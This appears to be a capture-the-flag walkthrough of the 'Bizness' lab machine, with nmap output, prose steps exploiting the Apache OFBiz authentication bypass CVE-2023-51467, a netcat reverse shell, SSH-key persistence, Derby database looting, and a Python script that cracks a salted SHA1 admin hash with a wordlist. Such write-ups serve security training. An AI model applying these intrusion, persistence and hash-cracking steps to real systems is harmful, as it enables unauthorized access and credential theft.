PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
42275/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nginx 1.18.0: vulnerable to CVE-2020-12440 (HTTP Request Smuggling)
both HTTP and HTTPS
For good measures we will also run a UDP nmap scan
results
After we have adit our hosts file lets check out the HTTP site
we can see the following
if we scroll to the bottom of the web page we can see the following
what is Apache OFBiz?
is an open-source enterprise resource planning system
is it vulnerable?
Possibly as we dont have the version number, we can make an educated guess, this box was created this year (2023) and there is a vulnerable version of this software that was found in 2023, what we can do is utilize the following scanner and check if it is indeed vulnerable to the CVE-2023-51467
After we have cloned the tool lets install the requirements.txt
Now lets run the scanner
And the scanner says our target is vulnerable
Now what is CVE-2023-51467?
this security flaw enables attackers to bypass authentication authentication, leading to SSRF (Sever Side Request Forgery) exploit. When sending a web request to the specific path /webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y
we can confirm this by navigating to to the specified url
we can use the following script to gain a shell on the target
we want to copy nc into our directory where we will host a python3 server so
Lets start the python server
Lets run the exploit script and specify to use wget and install nc on the system
Now we want to start a nc listener to catch the reverse-shell
Now we want to execute nc on the target to establish a reverse-shell back to our local machine
we now have a shell on the system
Lets upgrade our shell
Lets get some persistence on the machine
Lets create the .ssh/authorized_keys file and directory in the user ofbiz home directory
Now that we have /.ssh/authorized_keys Lets create our pivate and public key pair using ssh-keygen on our local machine
we should now have our id_rsa and id_rsa.pub we want to copy and paste our public key over to the machine
give the appropriate permissions to our private key
Now we should be able to login via ssh and our private key
this should make it abit easier to enumerate the system
lets check for SUID files
nothing interesting
any internal ports listening
nothing interesting
Lets save some time and download and run linpeas.sh and see if we can automate some of this
for good measure lets run it again but place the output to the file linpease.txt (i know i miss spelled it but didnt want to wait for it to execute again 😂)
target machine
local machine, we will use scp
this way we can still have the highlights, rather then copy and paste it onto our local machine
Couldnt find anything within linpeas except for what i believe to be a rabbit hole
Lets search for file types and see if we can find anything
we did find something interesting while searching for xml files
looking through the file we do find a hash
unable to crack it back to the drawing board
looking back in the linpeas output we can see the presence of derby
What is derby?
also known as Apache Derby, is an open-source database management system (RDBMS) that is implemented in Java
Why is this interesting?
we could possibly be able to enumerate sensitive information from the .dat files within the derby directory, keep in mind these data files, so to find anything interesting we would need to use a tool like strings to find anything interesting
Lets search for .dat files
we can see majority of the .dat file are coing from the /opt/ofbiz/runtime/data/derby/ofbiztenant/seg0/ directory
Lets copy all these files into a single .txt file and copy it to our local host
target machine
local machine
Now that we have a copy of the .dat files on our local host lets see if we can find anything interesting with strings
after a couple of attempts we can find a SHA-encrypted password for Admin
Lets see if we can crack it
no luck, but this has to be the admins password right?
after abit of googling I found the ofbiz GitHub repo where we can actually see HashCrypt.java functions
import hashlib
import base64
import os
from tqdm import tqdm
class PasswordEncryptor:
def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
"""
Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations.
:param hash_type: The hash algorithm to use (default is SHA).
:param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000).
"""
self.hash_type = hash_type
self.pbkdf2_iterations = pbkdf2_iterations
def crypt_bytes(self, salt, value):
"""
Crypt a password using the specified hash type and salt.
:param salt: The salt used in the encryption.
:param value: The password value to be encrypted.
:return: The encrypted password string.
"""
if not salt:
salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
return result
def get_crypted_bytes(self, salt, value):
"""
Get the encrypted bytes for a password.
:param salt: The salt used in the encryption.
:param value: The password value to get encrypted bytes for.
:return: The encrypted bytes as a string.
"""
try:
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
except hashlib.NoSuchAlgorithmException as e:
raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")
# Example usage:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'
# Create an instance of the PasswordEncryptor class
encryptor = PasswordEncryptor(hash_type)
# Get the number of lines in the wordlist for the loading bar
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))
# Iterate through the wordlist with a loading bar and check for a matching password
with open(wordlist, 'r', encoding='latin-1') as password_list:
for password in tqdm(password_list, total=total_lines, desc="Processing"):
value = password.strip()
# Get the encrypted password
hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))
# Compare with the search hash
if hashed_password == search:
print(f'Found Password:{value}, hash:{hashed_password}')
break # Stop the loop if a match is found